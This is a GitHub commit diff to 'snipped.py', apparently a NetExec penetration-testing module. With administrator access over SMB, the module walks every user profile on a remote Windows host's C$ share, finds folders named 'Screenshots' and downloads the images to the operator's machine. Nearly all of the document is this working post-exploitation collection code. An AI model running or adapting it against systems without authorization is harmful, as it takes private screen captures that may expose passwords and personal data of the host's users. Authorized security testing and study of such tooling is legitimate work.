Skip to content

Commit

Permalink
Modifed Snipped Module
Browse files Browse the repository at this point in the history
  • Loading branch information
Yeeb1 committed Nov 24, 2024
1 parent 54fea63 commit af512f1
Showing 1 changed file with 95 additions and 81 deletions.
176 changes: 95 additions & 81 deletions nxc/modules/snipped.py
Original file line number Diff line number Diff line change
@@ -1,9 +1,8 @@
from impacket import smb, smb3
import ntpath
from os import makedirs
from os.path import join, exists
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
import os
from os.path import join, getsize, exists
from nxc.paths import NXC_PATH


class NXCModule:

Expand All @@ -16,105 +15,120 @@ class NXCModule:
def __init__(self):
self.context = None
self.module_options = None
self.excluded_files = ["desktop.ini"]

def options(self, context, module_options):
"""
USERS Download only specified user(s); format: -o USERS=user1,user2,user3
"""
"""USERS: Download only specified user(s); format: -o USERS=user1,user2,user3"""
self.context = context
self.screenshot_path_stub = r"Pictures\Screenshots"
self.users = module_options["USERS"].split(",") if "USERS" in module_options else None
self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None



def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = "C$"

host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")

target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)

dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)

output_path = f"nxc_snipped_{connection.host}"
context.log.debug("Getting all user folders")

output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots")
os.makedirs(output_base_dir, exist_ok=True)

context.log.info("Getting all user folders")
try:
user_folders = dploot_conn.listPath(self.share, "\\Users\\*")
user_folders = connection.conn.listPath(self.share, "\\Users\\*")
except Exception as e:
context.log.fail(f"Failed to list user folders: {e}")
return

context.log.debug(f"User folders: {user_folders}")
context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}")
if not user_folders:
context.log.fail("No User folders found!")
return
else:
context.log.display("Attempting to download screenshots if existent.")
context.log.info("Attempting to download screenshots if they exist.")

total_files_downloaded = 0
host_output_path = None

for user_folder in user_folders:
if not user_folder.is_directory():
continue
folder_name = user_folder.get_longname()
if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]:
continue
if self.users and folder_name not in self.users:
continue

screenshot_path = ntpath.normpath(join(r"Users", folder_name, self.screenshot_path_stub))
try:
screenshot_files = dploot_conn.listPath(self.share, screenshot_path + "\\*")
except Exception as e:
context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}")
continue

if not screenshot_files:
context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}")
continue

user_output_dir = join(output_path, folder_name)
if not exists(user_output_dir):
makedirs(user_output_dir)

context.log.display(f"Downloading screenshots for user {folder_name}")
downloaded_count = 0
for file in screenshot_files:
if file.is_directory():
if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]:
normalized_name = folder_name.lower()
if self.users and normalized_name not in self.users:
continue

context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory")
screenshots_folders = self.find_screenshots_folders(folder_name)
if not screenshots_folders:
context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.")
continue
remote_file_path = ntpath.join(screenshot_path, file.get_longname())
local_file_path = join(user_output_dir, file.get_longname())
with open(local_file_path, 'wb') as local_file:

for screenshot_path in screenshots_folders:
try:
context.log.debug(f"Downloading {remote_file_path} to {local_file_path}")
dploot_conn.readFile(self.share, remote_file_path, local_file.write)
downloaded_count += 1
screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*")
except Exception as e:
context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}")
context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}")
continue

context.log.success(f"{downloaded_count} screenshots for user {folder_name} downloaded to {user_output_dir}")
if not screenshot_files:
context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}")
continue

def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
user_output_dir = join(output_base_dir, connection.host)
os.makedirs(user_output_dir, exist_ok=True)
host_output_path = user_output_dir

for file in screenshot_files:
if not file.is_directory():
remote_file_name = file.get_longname()

if remote_file_name.lower() in self.excluded_files:
context.log.debug(f"Excluding file {remote_file_name}.")
continue

remote_file_path = ntpath.join(screenshot_path, remote_file_name)
sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_")
local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}"
local_file_path = join(user_output_dir, local_file_name)

try:
with open(local_file_path, "wb") as local_file:
context.log.debug(f"Downloading {remote_file_path} to {local_file_path}")
connection.conn.getFile(self.share, remote_file_path, local_file.write)

if not exists(local_file_path):
context.log.error(f"Downloaded file {local_file_path} does not exist.")
continue

file_size = getsize(local_file_path)
if file_size == 0:
context.log.error(f"Downloaded file {local_file_path} is 0 bytes. Skipping.")
os.remove(local_file_path)
else:
total_files_downloaded += 1
except Exception as e:
context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}")

if total_files_downloaded > 0 and host_output_path:
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")


def find_screenshots_folders(self, user_folder_name):
"""
Dynamically searches for all Screenshots folders in the user's home directory.
Returns a list of paths.
"""
base_path = ntpath.normpath(join(r"Users", user_folder_name))
screenshots_folders = []
try:
subfolders = self.connection.conn.listPath(self.share, base_path + "\\*")
for subfolder in subfolders:
if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]:
potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots")
try:
if self.connection.conn.listPath(self.share, potential_path + "\\*"):
screenshots_folders.append(potential_path)
except Exception:
continue
except Exception as e:
self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}")
return screenshots_folders

0 comments on commit af512f1

Please sign in to comment.